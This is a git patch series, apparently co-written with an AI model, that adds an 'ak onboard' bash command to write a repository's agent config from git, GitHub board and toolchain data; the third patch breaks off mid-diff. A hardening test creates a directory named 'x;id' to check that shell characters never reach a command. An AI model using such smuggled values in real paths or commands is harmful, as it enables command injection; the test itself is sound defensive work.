From ab41bf161d860522a1cdb54e3219804975ba0d23 Mon Sep 17 00:00:00 2001
From: adam <djfreaq@gmail.com>
Date: Tue, 6 Oct 2026 14:51:37 -0700
Subject: [PATCH 1/7] feat(v2): ak onboard writes the config a repository needs
 in one call

A repository joins ak by hand-writing .agent/config.env, or by the legacy
onboard-repo skill: nine gated steps and ~2,000 helper lines read into the
root's context. `ak onboard` replaces both with one command that writes
only what the repository already says and prints at most 20 lines.

- slug and base branch from git; the linked project board and its Status
  options from one GraphQL read; setup and test commands from marker files,
  the lockfile choosing the package manager and a Makefile test target
  winning. A directory with its own toolchain becomes an AGENT_CMD_<DIR>
  suite with AGENT_RUNDIR_<DIR>, which `ak verify` already runs per area.
- existing keys are kept, so a re-run changes nothing; an untracked
  .agent/ stays out of git through info/exclude, like .ak/.
- two linked boards print `board=choose` with the command that picks one;
  no board, no toolchain and a failed board read are notes, not refusals.
- the `onboard` skill is five steps: run it, settle `board=choose` or
  `commands=none` with one more call, run the `next=` command, report.

Closes #997

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
---
 tests/v2/test-onboard.sh   | 107 +++++++++++++++++++++++++
 v2/bin/ak                  |   3 +-
 v2/lib/onboard.sh          | 158 +++++++++++++++++++++++++++++++++++++
 v2/skills/onboard/SKILL.md |  21 +++++
 4 files changed, 288 insertions(+), 1 deletion(-)
 create mode 100644 tests/v2/test-onboard.sh
 create mode 100644 v2/lib/onboard.sh
 create mode 100644 v2/skills/onboard/SKILL.md

diff --git a/tests/v2/test-onboard.sh b/tests/v2/test-onboard.sh
new file mode 100644
index 00000000..25e4aed4
--- /dev/null
+++ b/tests/v2/test-onboard.sh
@@ -0,0 +1,107 @@
+#!/usr/bin/env bash
+# ak onboard: writes the config keys ak reads from what the repository already says, and keeps what is there.
+TEST_NAME=v2-onboard
+# shellcheck source=lib.sh
+source "$(dirname -- "${BASH_SOURCE[0]}")/lib.sh"
+
+# linked_route BOARDS: answer the "boards linked to this repository" query with the JSON array BOARDS.
+linked_route() {
+    route 'api graphql*projectsV2(first*' "$(jq -c '{data: {repository: {projectsV2: {nodes: .}}}}' <<<"$1")"
+}
+FULL='[{"name":"Backlog"},{"name":"Ready"},{"name":"In progress"},{"name":"In review"},{"name":"Done"}]'
+board() { jq -nc --argjson n "$1" --arg t "$2" --argjson o "${3:-$FULL}" '{number: $n, title: $t, closed: false, owner: {login: "acme"}, field: {options: $o}}'; }
+
+repo=$(fixture_repo)
+cd "$repo" || exit 1
+
+# --- a Node repository linked to one board ---
+printf '{"name":"widget","scripts":{"test":"jest"}}\n' >package.json
+printf '{}\n' >package-lock.json
+git add package.json package-lock.json && git commit -q -m node
+linked_route "[$(board 4 'Widget board')]"
+out=$("$AK" onboard 2>&1); rc=$?
+assert_eq 0 "$rc" 'onboard exits 0'
+assert_contains "$out" 'wrote=.agent/config.env keys=5 kept=1' 'onboard counts the keys it added and the ones it kept'
+assert_contains "$out" $'\nAGENT_BASE_BRANCH=main\n' 'the base branch comes from origin/HEAD'
+assert_contains "$out" $'\nAGENT_PROJECT_OWNER=acme\nAGENT_PROJECT_NUMBER=4\n' 'the one linked board is adopted'
+assert_contains "$out" $'\nAGENT_CMD_SETUP=npm ci\nAGENT_CMD_TEST=npm test\n' 'the lockfile picks the package manager'
+assert_contains "$out" 'board=4 "Widget board" status=Backlog,Ready,In progress,In review,Done' 'the board line names the Status options'
+assert_contains "$out" $'\nnext=ak setup && ak verify --full' 'the next line proves the declared commands'
+assert_not_contains "$out" 'AGENT_REPO_SLUG' 'a key already in the file is kept, not reprinted'
+assert_eq 1 "$(grep -c '^AGENT_REPO_SLUG=' .agent/config.env)" 'the existing slug line survives once'
+assert_eq 'npm test' "$(sed -n 's/^AGENT_CMD_TEST=//p' .agent/config.env)" 'the file carries the test command'
+assert_eq 0 "$(grep -c '^fake gh' <<<"$out")" 'gh calls all had routes'
+assert_eq 1 "$(grep -c 'api graphql' "$FAKE_GH_LOG")" 'the board costs one GraphQL read'
+assert_rc 0 'onboard prints at most 20 lines' -- test "$(wc -l <<<"$out")" -le 20
+
+before=$(cat .agent/config.env)
+out=$("$AK" onboard 2>&1); rc=$?
+assert_eq 0 "$rc" 'a second onboard exits 0'
+assert_contains "$out" 'wrote=.agent/config.env keys=0 kept=6' 'a second onboard adds nothing'
+assert_eq "$before" "$(cat .agent/config.env)" 'a second onboard leaves the file byte-identical'
+
+# --- a bad flag ---
+out=$("$AK" onboard --bogus 2>&1); rc=$?
+assert_eq 2 "$rc" 'an unknown flag exits 2'
+
+# --- a repository linked to two boards, then a chosen one ---
+rm .agent/config.env
+: >"$FAKE_GH_ROUTES"
+linked_route "[$(board 4 'Widget board'),$(board 9 'Platform')]"
+out=$("$AK" onboard 2>&1); rc=$?
+assert_eq 0 "$rc" 'two linked boards still write the rest of the config'
+assert_contains "$out" $'board=choose\n  4 Widget board\n  9 Platform\nfix: ak onboard --project N --owner acme' 'two boards are listed with the command that picks one'
+assert_not_contains "$out" 'AGENT_PROJECT_NUMBER' 'no board is guessed'
+route 'api graphql*projectV2(number*' "$(jq -c '{data: {repositoryOwner: {projectV2: .}}}' <<<"$(board 9 Platform '[{"name":"Todo"},{"name":"Ready"},{"name":"In progress"},{"name":"Done"}]')")"
+out=$("$AK" onboard --project 9 --owner acme 2>&1); rc=$?
+assert_eq 0 "$rc" 'a named board is adopted'
+assert_contains "$out" $'\nAGENT_PROJECT_OWNER=acme\nAGENT_PROJECT_NUMBER=9\n' 'the named board is written'
+assert_contains "$out" 'board=9 "Platform" status=Todo,Ready,In progress,Done' 'the chosen board line names its options'
+assert_contains "$out" $'\nmissing-status=In review (ak board no-ops a move there)' 'a missing canonical column is named, not fatal'
+
+# --- no linked board, no toolchain ---
+rm .agent/config.env package.json package-lock.json
+git rm -q package.json package-lock.json && git commit -q -m bare
+: >"$FAKE_GH_ROUTES"
+linked_route '[]'
+out=$("$AK" onboard 2>&1); rc=$?
+assert_eq 0 "$rc" 'nothing discovered still exits 0'
+assert_contains "$out" 'board=none; ak plan reads AGENT_READY_LABEL=<label> instead, or name one: ak onboard --project N --owner O' 'no board names both ways forward'
+assert_contains "$out" 'commands=none; append AGENT_CMD_TEST=<the command CI runs> to .agent/config.env' 'no toolchain asks for the CI command'
+assert_contains "$out" $'\nnext=ak verify --full' 'with no setup, next is verify alone'
+assert_not_contains "$out" $'\nAGENT_CMD_' 'no command is invented'
+
+# --- a board read that fails is reported, not fatal ---
+: >"$FAKE_GH_ROUTES"
+route 'api graphql*projectsV2(first*' 'gh: Bad credentials (HTTP 401)' 1
+out=$("$AK" onboard 2>&1); rc=$?
+assert_eq 0 "$rc" 'a failed board read still writes the config'
+assert_contains "$out" 'board=unavailable (gh: Bad credentials (HTTP 401)); fix: gh auth status' 'the board failure carries the gh error'
+
+# --- Makefile wins; per-directory toolchains become suites ---
+rm -f .agent/config.env
+printf 'test:\n\ttrue\n' >Makefile
+mkdir -p api web services/jobs
+printf '[project]\nname="api"\n' >api/pyproject.toml && : >api/uv.lock
+printf '{"scripts":{"test":"vitest"}}\n' >web/package.json && : >web/pnpm-lock.yaml
+printf 'module jobs\n' >services/jobs/go.mod
+mkdir -p tools/site && printf '{"name":"site"}\n' >tools/site/package.json && : >tools/site/package-lock.json
+git add Makefile api web services tools && git commit -q -m mono
+linked_route '[]'
+out=$("$AK" onboard 2>&1); rc=$?
+assert_eq 0 "$rc" 'a monorepo onboards'
+assert_contains "$out" $'\nAGENT_CMD_TEST=make test\n' 'a Makefile test target is the whole check'
+assert_contains "$out" $'\nAGENT_CMD_API=uv run pytest\nAGENT_RUNDIR_API=api\n' 'a uv project is a suite in its directory'
+assert_contains "$out" $'\nAGENT_CMD_WEB=pnpm test\nAGENT_RUNDIR_WEB=web\n' 'a pnpm project is a suite in its directory'
+assert_contains "$out" $'\nAGENT_CMD_SERVICES_JOBS=go test ./...\nAGENT_RUNDIR_SERVICES_JOBS=services/jobs\n' 'a nested go module is a suite named by its path'
+assert_contains "$out" $'\nAGENT_CMD_SETUP=(cd api && uv sync) && (cd web && pnpm install --frozen-lockfile)\n' 'suite installs compose the setup when the root has none'
+assert_not_contains "$out" 'tools/site' 'a package.json with no test script is neither a suite nor an install'
+assert_eq "$(printf '%s\n' AGENT_BASE_BRANCH AGENT_CMD_API AGENT_CMD_SERVICES_JOBS AGENT_CMD_SETUP AGENT_CMD_TEST AGENT_CMD_WEB AGENT_REPO_SLUG AGENT_RUNDIR_API AGENT_RUNDIR_SERVICES_JOBS AGENT_RUNDIR_WEB)" \
+    "$(grep -oE '^AGENT_[A-Z_]+' .agent/config.env | LC_ALL=C sort)" 'the file holds exactly the discovered keys'
+
+# --- an untracked config is excluded from git; a tracked one is left alone ---
+assert_rc 0 'an untracked .agent/ is ignored' -- git check-ignore -q .agent/config.env
+rm .gitignore && git rm -q --cached .gitignore && git commit -q -m noignore
+assert_rc 0 '.agent/ stays ignored through info/exclude' -- git check-ignore -q .agent/config.env
+
+finish
diff --git a/v2/bin/ak b/v2/bin/ak
index f69b7b84..a486fb07 100755
--- a/v2/bin/ak
+++ b/v2/bin/ak
@@ -9,7 +9,8 @@ source "$AK_HOME/lib/common.sh"
 usage() {
     cat <<'USAGE'
 usage: ak <command> [args]
-  root:   plan [--limit N] [--yolo] [--serialize] [--new] collect (--issue N | --pr N)
+  root:   onboard [--project N --owner O]          plan [--limit N] [--yolo] [--serialize] [--new]
+          collect (--issue N | --pr N)
           pr-plan --pr N [--pr N]...                merge --pr N
   worker: setup   verify   ship --message M [--body-file F]   review
           ci [--timeout S] [--once]   threads [--resolve ID --note T]   receipt --findings F [--remaining T]
diff --git a/v2/lib/onboard.sh b/v2/lib/onboard.sh
new file mode 100644
index 00000000..1a0c2ef3
--- /dev/null
+++ b/v2/lib/onboard.sh
@@ -0,0 +1,158 @@
+# shellcheck shell=bash
+# ak onboard [--project N --owner O]: write the .agent/config.env keys ak reads from what the repository already
+# says: slug and base from git, the linked project board and its Status options from one GraphQL read, and the
+# setup/test commands from marker files. Keys already in the file are kept; a re-run changes nothing.
+
+CANON_STATUS='Ready|In progress|In review|Done'
+# shellcheck disable=SC2016  # GraphQL variables, bound by gh's -F flags.
+LINKED_QUERY='query($owner: String!, $name: String!) { repository(owner: $owner, name: $name) { projectsV2(first: 20) { nodes
+  { number title closed owner { ... on Organization { login } ... on User { login } }
+    field(name: "Status") { ... on ProjectV2SingleSelectField { options { name } } } } } } }'
+# shellcheck disable=SC2016
+NAMED_QUERY='query($owner: String!, $number: Int!) { repositoryOwner(login: $owner) { projectV2(number: $number)
+  { number title closed owner { ... on Organization { login } ... on User { login } }
+    field(name: "Status") { ... on ProjectV2SingleSelectField { options { name } } } } } }'
+# Open boards as `number<TAB>owner<TAB>title<TAB>status,options`.
+BOARD_ROWS='[.. | objects | select(has("number") and has("title"))] | map(select(.closed != true)) | .[] |
+  [.number, .owner.login, .title, ([.field.options[]?.name] | join(","))] | @tsv'
+
+# onboard_set KEY VALUE: queue KEY=VALUE unless the file already has KEY or VALUE is empty.
+onboard_set() {
+    [[ -n $2 ]] || return 0
+    if grep -qE "^$1=" "$FILE" 2>/dev/null; then KEPT=$((KEPT + 1)); else LINES+=("$1=$2"); fi
+}
+
+# onboard_commands DIR: `setup<TAB>command` and `test<TAB>command` for the toolchain whose marker files sit in DIR.
+onboard_commands() {
+    local d=$1 pm install
+    if [[ -f $d/Makefile ]] && grep -qE '^test:' "$d/Makefile"; then
+        printf 'test\tmake test\n'
+    elif [[ -f $d/package.json ]]; then
+        if [[ -f $d/pnpm-lock.yaml ]]; then pm=pnpm install='pnpm install --frozen-lockfile'
+        elif [[ -f $d/yarn.lock ]]; then pm=yarn install='yarn install --frozen-lockfile'
+        elif [[ -f $d/bun.lockb || -f $d/bun.lock ]]; then pm=bun install='bun install'
+        elif [[ -f $d/package-lock.json ]]; then pm=npm install='npm ci'
+        else pm=npm install='npm install'; fi
+        printf 'setup\t%s\n' "$install"
+        ! jq -e '.scripts.test' "$d/package.json" >/dev/null 2>&1 || printf 'test\t%s test\n' "$pm"
+    elif [[ -f $d/pyproject.toml || -f $d/setup.cfg || -f $d/setup.py || -f $d/requirements.txt ]]; then
+        if [[ -f $d/uv.lock ]]; then printf 'setup\tuv sync\ntest\tuv run pytest\n'
+        elif [[ -f $d/poetry.lock ]]; then printf 'setup\tpoetry install\ntest\tpoetry run pytest\n'
+        else printf 'test\tpython -m pytest\n'; fi
+    elif [[ -f $d/Cargo.toml ]]; then printf 'test\tcargo test\n'
+    elif [[ -f $d/go.mod ]]; then printf 'test\tgo test ./...\n'
+    elif [[ -f $d/Gemfile ]]; then
+        printf 'setup\tbundle install\ntest\t%s\n' "$([[ -d $d/spec ]] && echo 'bundle exec rspec' || echo 'bundle exec rake test')"
+    elif compgen -G "$d/*.sln" >/dev/null || compgen -G "$d/*.csproj" >/dev/null; then printf 'test\tdotnet test\n'
+    elif [[ -x $d/tests/run-tests.sh ]]; then printf 'test\ttests/run-tests.sh\n'
+    fi
+}
+
+# onboard_suite_dirs: tracked directories (depth ≤ 2, not the root) holding their own toolchain marker.
+onboard_suite_dirs() {
+    git ls-files -- '*/package.json' '*/pyproject.toml' '*/setup.cfg' '*/setup.py' '*/Cargo.toml' '*/go.mod' \
+        '*/Gemfile' '*/Makefile' '*/*.sln' '*/*.csproj' 2>/dev/null |
+        awk -F/ 'NF > 1 && NF <= 3 && $1 !~ /^\./ { NF--; print }' OFS=/ | LC_ALL=C sort -u
+}
+
+# onboard_toolchain: queue SETUP, TEST and one suite per toolchain directory; `none` when nothing was found.
+onboard_toolchain() {
+    local dir name kind command suite setup='' test='' installs=() found=0
+    while IFS=$'\t' read -r kind command; do
+        [[ $kind == setup ]] && setup=$command
+        [[ $kind == test ]] && test=$command
+    done < <(onboard_commands .)
+    while IFS= read -r dir; do
+        [[ -n $dir ]] || continue
+        name=$(tr '[:lower:]/-' '[:upper:]__' <<<"$dir" | tr -c 'A-Z0-9_\n' '_')
+        case $name in SETUP | VERIFY | TEST | *_FIX) continue ;; esac
+        suite=$(onboard_commands "$dir")
+        command=$(sed -n 's/^test\t//p' <<<"$suite")
+        [[ -n $command ]] || continue
+        onboard_set "AGENT_CMD_$name" "$command"
+        onboard_set "AGENT_RUNDIR_$name" "$dir"
+        found=1
+        # A directory's install matters only when a suite runs there: a tool's own package.json is not a suite.
+        command=$(sed -n 's/^setup\t//p' <<<"$suite")
+        [[ -z $command ]] || installs+=("(cd $dir && $command)")
+    done < <(onboard_suite_dirs)
+    [[ -n $setup || ${#installs[@]} == 0 ]] || setup=$(IFS='&'; printf '%s' "${installs[*]}" | sed 's/)&(/) \&\& (/g')
+    onboard_set AGENT_CMD_SETUP "$setup"
+    onboard_set AGENT_CMD_TEST "$test"
+    [[ -n $test ]] || ((found)) || NOTES+=('commands=none; append AGENT_CMD_TEST=<the command CI runs> to .agent/config.env')
+}
+
+# onboard_board [NUMBER OWNER]: read the linked boards (or the named one), queue the owner and number of the one to use.
+onboard_board() {
+    local rows owner count fix
+    owner=$(slug); owner=${owner%%/*}
+    if [[ -n ${1:-} ]]; then
+        rows=$(gh api graphql -f "query=$NAMED_QUERY" -F "owner=$2" -F "number=$1" 2>&1)
+    else
+        rows=$(gh api graphql -f "query=$LINKED_QUERY" -F "owner=$owner" -F "name=$(slug | cut -d/ -f2)" 2>&1)
+    fi || { NOTES+=("board=unavailable ($rows); fix: gh auth status"); return 0; }
+    rows=$(jq -r "$BOARD_ROWS" <<<"$rows" 2>/dev/null) || { NOTES+=("board=unavailable (unreadable reply); fix: gh auth status"); return 0; }
+    count=$(grep -c . <<<"$rows" || true)
+    if ((count == 0)); then
+        [[ -n ${1:-} ]] && fix="board=none; $2 has no open project $1" ||
+            fix='board=none; ak plan reads AGENT_READY_LABEL=<label> instead, or name one: ak onboard --project N --owner O'
+        NOTES+=("$fix")
+    elif ((count > 1)); then
+        NOTES+=('board=choose' "$(head -n 5 <<<"$rows" | awk -F'\t' '{ print "  " $1 " " $3 }')" \
+            "fix: ak onboard --project N --owner $(head -n 1 <<<"$rows" | cut -f2)")
+    else
+        onboard_pick "$rows"
+    fi
+}
+
+# onboard_pick ROW: queue the board keys and note its Status options and any canonical column it lacks.
+onboard_pick() {
+    local number owner title status missing=() want
+    IFS=$'\t' read -r number owner title status <<<"$1"
+    onboard_set AGENT_PROJECT_OWNER "$owner"
+    onboard_set AGENT_PROJECT_NUMBER "$number"
+    NOTES+=("board=$number \"$title\" status=$status")
+    while IFS= read -r want; do
+        grep -qiE "(^|,)$want(,|$)" <<<"$status" || missing+=("$want")
+    done < <(tr '|' '\n' <<<"$CANON_STATUS")
+    ((${#missing[@]} == 0)) || NOTES+=("missing-status=$(IFS=,; printf '%s' "${missing[*]}") (ak board no-ops a move there)")
+}
+
+# onboard_exclude: an untracked .agent/ stays out of git through the shared info/exclude, like .ak/.
+onboard_exclude() {
+    local exclude
+    ! git ls-files --error-unmatch -- "$FILE" >/dev/null 2>&1 || return 0
+    exclude="$(git rev-parse --path-format=absolute --git-common-dir)/info/exclude"
+    mkdir -p -- "$(dirname -- "$exclude")"
+    grep -qxF '.agent/' "$exclude" 2>/dev/null || printf '.agent/\n' >>"$exclude"
+}
+
+cmd_main() {
+    local project='' owner='' base line shown
+    while (($#)); do
+        case $1 in
+            --project) project=${2:-}; shift 2 || usage_die 'ak onboard: --project needs a number' ;;
+            --owner) owner=${2:-}; shift 2 || usage_die 'ak onboard: --owner needs a login' ;;
+            *) usage_die "ak onboard: unknown argument: $1" ;;
+        esac
+    done
+    [[ -z $project$owner || ($project =~ ^[0-9]+$ && -n $owner) ]] || usage_die 'usage: ak onboard [--project N --owner O]'
+    cd -- "$(main_root)" || exit 1
+    FILE=.agent/config.env KEPT=0 LINES=() NOTES=()
+    onboard_set AGENT_REPO_SLUG "$(slug)"
+    base=$(git symbolic-ref --quiet --short refs/remotes/origin/HEAD 2>/dev/null || true)
+    [[ -n $base ]] || base=origin/$(gh api "repos/$(slug)" --jq .default_branch 2>/dev/null || echo main)
+    onboard_set AGENT_BASE_BRANCH "${base#origin/}"
+    onboard_board "$project" "$owner"
+    onboard_toolchain
+    mkdir -p -- .agent
+    [[ -f $FILE ]] || printf '# ak reads these KEY=value lines; edit freely. ak onboard adds missing keys and keeps every line here.\n' >"$FILE"
+    ((${#LINES[@]} == 0)) || printf '%s\n' "${LINES[@]}" >>"$FILE"
+    onboard_exclude
+    printf 'wrote=%s keys=%d kept=%d\n' "$FILE" "${#LINES[@]}" "$KEPT"
+    shown=${#LINES[@]}; ((shown <= 14)) || shown=12
+    for line in "${LINES[@]:0:$shown}"; do printf '%s\n' "$line"; done
+    ((shown == ${#LINES[@]})) || printf '(+%d more in %s)\n' $((${#LINES[@]} - shown)) "$FILE"
+    ((${#NOTES[@]} == 0)) || printf '%s\n' "${NOTES[@]}"
+    if grep -qE '^AGENT_CMD_SETUP=.' "$FILE"; then printf 'next=ak setup && ak verify --full\n'; else printf 'next=ak verify --full\n'; fi
+}
diff --git a/v2/skills/onboard/SKILL.md b/v2/skills/onboard/SKILL.md
new file mode 100644
index 00000000..bcda33c3
--- /dev/null
+++ b/v2/skills/onboard/SKILL.md
@@ -0,0 +1,21 @@
+---
+name: onboard
+description: Set up a repository for ak by writing .agent/config.env from what the repository and its GitHub project already say, then proving the declared commands. Use for "/onboard", "onboard this repo", "set up ak here", or when `ak plan` refuses with "no project board or ready label configured".
+---
+
+# onboard
+
+`ak` is `<this skill's directory>/../../bin/ak`, run from the repository root. Pass the operator's flags
+(`--project N --owner O`) straight through. `.agent/config.env` is plain `KEY=value` lines; `ak onboard` adds the
+keys it discovers and keeps every line already there, so running it again is safe.
+
+1. Run `ak onboard [flags]`. It prints each key it wrote, a `board=` line and a `next=` line.
+2. `board=choose` lists the boards the repository is linked to: ask the operator which one, then run the `fix:`
+   command it printed with that number. `board=none` is fine for a repository worked by label or by `--issue N`.
+3. `commands=none`: find the test command CI runs (the `run:` steps in `.github/workflows/*.yml`, else the
+   README) and append `AGENT_CMD_TEST=<command>` to `.agent/config.env`, plus `AGENT_CMD_SETUP=<install command>`
+   when it needs one.
+4. Run the `next=` command. `verify=pass` proves the declared commands. On `FAIL <name>`, the log it names says
+   why: correct that `AGENT_CMD_` line in `.agent/config.env` and run the `next=` command once more.
+5. Report the `ak onboard` lines and the verify result, then stop. Committing `.agent/config.env` is the operator's
+   call: ak reads it from the checkout, so worktrees need nothing more.

From 6a6179392b8b17438830b6f12f21ee3858909f5b Mon Sep 17 00:00:00 2001
From: adam <djfreaq@gmail.com>
Date: Tue, 6 Oct 2026 14:55:44 -0700
Subject: [PATCH 2/7] fix(v2): onboard writes through no symlink and runs no
 path it cannot trust

A tracked directory name lands in the setup command `ak setup` runs
through bash, so a name with shell characters is no longer a suite. A
`.agent` or `config.env` that is a symlink is refused with the command
that clears it, so a hostile clone cannot aim the append outside the repo.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
---
 tests/v2/test-onboard.sh | 12 +++++++++++-
 v2/lib/onboard.sh        |  4 +++-
 2 files changed, 14 insertions(+), 2 deletions(-)

diff --git a/tests/v2/test-onboard.sh b/tests/v2/test-onboard.sh
index 25e4aed4..9d5af69d 100644
--- a/tests/v2/test-onboard.sh
+++ b/tests/v2/test-onboard.sh
@@ -86,7 +86,8 @@ printf '[project]\nname="api"\n' >api/pyproject.toml && : >api/uv.lock
 printf '{"scripts":{"test":"vitest"}}\n' >web/package.json && : >web/pnpm-lock.yaml
 printf 'module jobs\n' >services/jobs/go.mod
 mkdir -p tools/site && printf '{"name":"site"}\n' >tools/site/package.json && : >tools/site/package-lock.json
-git add Makefile api web services tools && git commit -q -m mono
+mkdir -p 'x;id' && printf 'module x\n' >'x;id/go.mod'
+git add Makefile api web services tools 'x;id' && git commit -q -m mono
 linked_route '[]'
 out=$("$AK" onboard 2>&1); rc=$?
 assert_eq 0 "$rc" 'a monorepo onboards'
@@ -96,9 +97,18 @@ assert_contains "$out" $'\nAGENT_CMD_WEB=pnpm test\nAGENT_RUNDIR_WEB=web\n' 'a p
 assert_contains "$out" $'\nAGENT_CMD_SERVICES_JOBS=go test ./...\nAGENT_RUNDIR_SERVICES_JOBS=services/jobs\n' 'a nested go module is a suite named by its path'
 assert_contains "$out" $'\nAGENT_CMD_SETUP=(cd api && uv sync) && (cd web && pnpm install --frozen-lockfile)\n' 'suite installs compose the setup when the root has none'
 assert_not_contains "$out" 'tools/site' 'a package.json with no test script is neither a suite nor an install'
+assert_not_contains "$out" 'x;id' 'a directory name with shell characters never reaches a command'
 assert_eq "$(printf '%s\n' AGENT_BASE_BRANCH AGENT_CMD_API AGENT_CMD_SERVICES_JOBS AGENT_CMD_SETUP AGENT_CMD_TEST AGENT_CMD_WEB AGENT_REPO_SLUG AGENT_RUNDIR_API AGENT_RUNDIR_SERVICES_JOBS AGENT_RUNDIR_WEB)" \
     "$(grep -oE '^AGENT_[A-Z_]+' .agent/config.env | LC_ALL=C sort)" 'the file holds exactly the discovered keys'
 
+# --- a config behind a symlink is refused ---
+mv .agent/config.env "$WORK/real.env" && ln -s "$WORK/real.env" .agent/config.env
+out=$("$AK" onboard 2>&1); rc=$?
+assert_eq 1 "$rc" 'a symlinked config exits 1'
+assert_contains "$out" $'behind a symlink, which onboard will not write through\nfix: rm .agent/config.env' 'the refusal names the symlink and the fix'
+assert_eq "$(cat "$WORK/real.env")" "$(cat .agent/config.env)" 'nothing was written through the link'
+rm .agent/config.env && mv "$WORK/real.env" .agent/config.env
+
 # --- an untracked config is excluded from git; a tracked one is left alone ---
 assert_rc 0 'an untracked .agent/ is ignored' -- git check-ignore -q .agent/config.env
 rm .gitignore && git rm -q --cached .gitignore && git commit -q -m noignore
diff --git a/v2/lib/onboard.sh b/v2/lib/onboard.sh
index 1a0c2ef3..55d2d906 100644
--- a/v2/lib/onboard.sh
+++ b/v2/lib/onboard.sh
@@ -52,7 +52,8 @@ onboard_commands() {
 onboard_suite_dirs() {
     git ls-files -- '*/package.json' '*/pyproject.toml' '*/setup.cfg' '*/setup.py' '*/Cargo.toml' '*/go.mod' \
         '*/Gemfile' '*/Makefile' '*/*.sln' '*/*.csproj' 2>/dev/null |
-        awk -F/ 'NF > 1 && NF <= 3 && $1 !~ /^\./ { NF--; print }' OFS=/ | LC_ALL=C sort -u
+        awk -F/ 'NF > 1 && NF <= 3 && $1 !~ /^\./ { NF--; print }' OFS=/ | LC_ALL=C sort -u |
+        grep -E '^[A-Za-z0-9._][A-Za-z0-9._/-]*$' || true  # the path lands in a command ak setup runs: plain characters only
 }
 
 # onboard_toolchain: queue SETUP, TEST and one suite per toolchain directory; `none` when nothing was found.
@@ -139,6 +140,7 @@ cmd_main() {
     [[ -z $project$owner || ($project =~ ^[0-9]+$ && -n $owner) ]] || usage_die 'usage: ak onboard [--project N --owner O]'
     cd -- "$(main_root)" || exit 1
     FILE=.agent/config.env KEPT=0 LINES=() NOTES=()
+    [[ ! -L .agent && ! -L $FILE ]] || die "$FILE is behind a symlink, which onboard will not write through" "rm $FILE"
     onboard_set AGENT_REPO_SLUG "$(slug)"
     base=$(git symbolic-ref --quiet --short refs/remotes/origin/HEAD 2>/dev/null || true)
     [[ -n $base ]] || base=origin/$(gh api "repos/$(slug)" --jq .default_branch 2>/dev/null || echo main)

From 36a24b9a6960eca672df301dba8b416e1d34ba02 Mon Sep 17 00:00:00 2001
From: adam <djfreaq@gmail.com>
Date: Tue, 6 Oct 2026 15:02:50 -0700
Subject: [PATCH 3/7] fix(v2): onboard composes every install, names suites
 once, and appends on its own line

Findings from the blind review of the pushed head, each pinned:

- a config whose last line had no newline swallowed the first new key
  into that line; onboard now ends the file's last line first.
- a root install (npm ci) dropped every suite's own install; install and
  test detection are now separate, so a Makefile test target no longer
  hides the root's package manager, and the setup line is the root
  install followed by each suite that has its own lockfile.
- api-v1 and api_v1 both normalise to API_V1; the first keeps the name
  and the second is reported as suite-skipped for the operator.
- board=choose prints each board as the exact --project/--owner flags,
  since linked boards can have different owners.
- the info/exclude entry is anchored to the root (/.agent/), so a nested
  .agent directory is not hidden.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
---
 tests/v2/test-onboard.sh | 18 ++++++---
 v2/lib/onboard.sh        | 82 +++++++++++++++++++++++-----------------
 2 files changed, 61 insertions(+), 39 deletions(-)

diff --git a/tests/v2/test-onboard.sh b/tests/v2/test-onboard.sh
index 9d5af69d..4e407390 100644
--- a/tests/v2/test-onboard.sh
+++ b/tests/v2/test-onboard.sh
@@ -50,7 +50,7 @@ rm .agent/config.env
 linked_route "[$(board 4 'Widget board'),$(board 9 'Platform')]"
 out=$("$AK" onboard 2>&1); rc=$?
 assert_eq 0 "$rc" 'two linked boards still write the rest of the config'
-assert_contains "$out" $'board=choose\n  4 Widget board\n  9 Platform\nfix: ak onboard --project N --owner acme' 'two boards are listed with the command that picks one'
+assert_contains "$out" $'board=choose\n  --project 4 --owner acme  Widget board\n  --project 9 --owner acme  Platform\nfix: ak onboard <one line above>' 'two boards are listed as the flags that pick one'
 assert_not_contains "$out" 'AGENT_PROJECT_NUMBER' 'no board is guessed'
 route 'api graphql*projectV2(number*' "$(jq -c '{data: {repositoryOwner: {projectV2: .}}}' <<<"$(board 9 Platform '[{"name":"Todo"},{"name":"Ready"},{"name":"In progress"},{"name":"Done"}]')")"
 out=$("$AK" onboard --project 9 --owner acme 2>&1); rc=$?
@@ -81,13 +81,16 @@ assert_contains "$out" 'board=unavailable (gh: Bad credentials (HTTP 401)); fix:
 # --- Makefile wins; per-directory toolchains become suites ---
 rm -f .agent/config.env
 printf 'test:\n\ttrue\n' >Makefile
+printf '{"name":"root"}\n' >package.json && : >package-lock.json
 mkdir -p api web services/jobs
 printf '[project]\nname="api"\n' >api/pyproject.toml && : >api/uv.lock
 printf '{"scripts":{"test":"vitest"}}\n' >web/package.json && : >web/pnpm-lock.yaml
 printf 'module jobs\n' >services/jobs/go.mod
 mkdir -p tools/site && printf '{"name":"site"}\n' >tools/site/package.json && : >tools/site/package-lock.json
 mkdir -p 'x;id' && printf 'module x\n' >'x;id/go.mod'
-git add Makefile api web services tools 'x;id' && git commit -q -m mono
+mkdir -p api-v1 api_v1 && printf 'module v1\n' >api-v1/go.mod && printf 'module v1\n' >api_v1/go.mod
+printf 'x' >.agent/config.env   # a hand-written file whose last line has no newline
+git add Makefile package.json package-lock.json api web services tools 'x;id' api-v1 api_v1 && git commit -q -m mono
 linked_route '[]'
 out=$("$AK" onboard 2>&1); rc=$?
 assert_eq 0 "$rc" 'a monorepo onboards'
@@ -95,11 +98,14 @@ assert_contains "$out" $'\nAGENT_CMD_TEST=make test\n' 'a Makefile test target i
 assert_contains "$out" $'\nAGENT_CMD_API=uv run pytest\nAGENT_RUNDIR_API=api\n' 'a uv project is a suite in its directory'
 assert_contains "$out" $'\nAGENT_CMD_WEB=pnpm test\nAGENT_RUNDIR_WEB=web\n' 'a pnpm project is a suite in its directory'
 assert_contains "$out" $'\nAGENT_CMD_SERVICES_JOBS=go test ./...\nAGENT_RUNDIR_SERVICES_JOBS=services/jobs\n' 'a nested go module is a suite named by its path'
-assert_contains "$out" $'\nAGENT_CMD_SETUP=(cd api && uv sync) && (cd web && pnpm install --frozen-lockfile)\n' 'suite installs compose the setup when the root has none'
+assert_contains "$out" $'\nAGENT_CMD_SETUP=npm ci && (cd api && uv sync) && (cd web && pnpm install --frozen-lockfile)\n' 'the root install comes first, then each suite with its own lockfile'
+assert_contains "$out" $'\nsuite-skipped=api_v1 (AGENT_CMD_API_V1 is taken; add it by hand)' 'a second directory with the same normalised name is named, not duplicated'
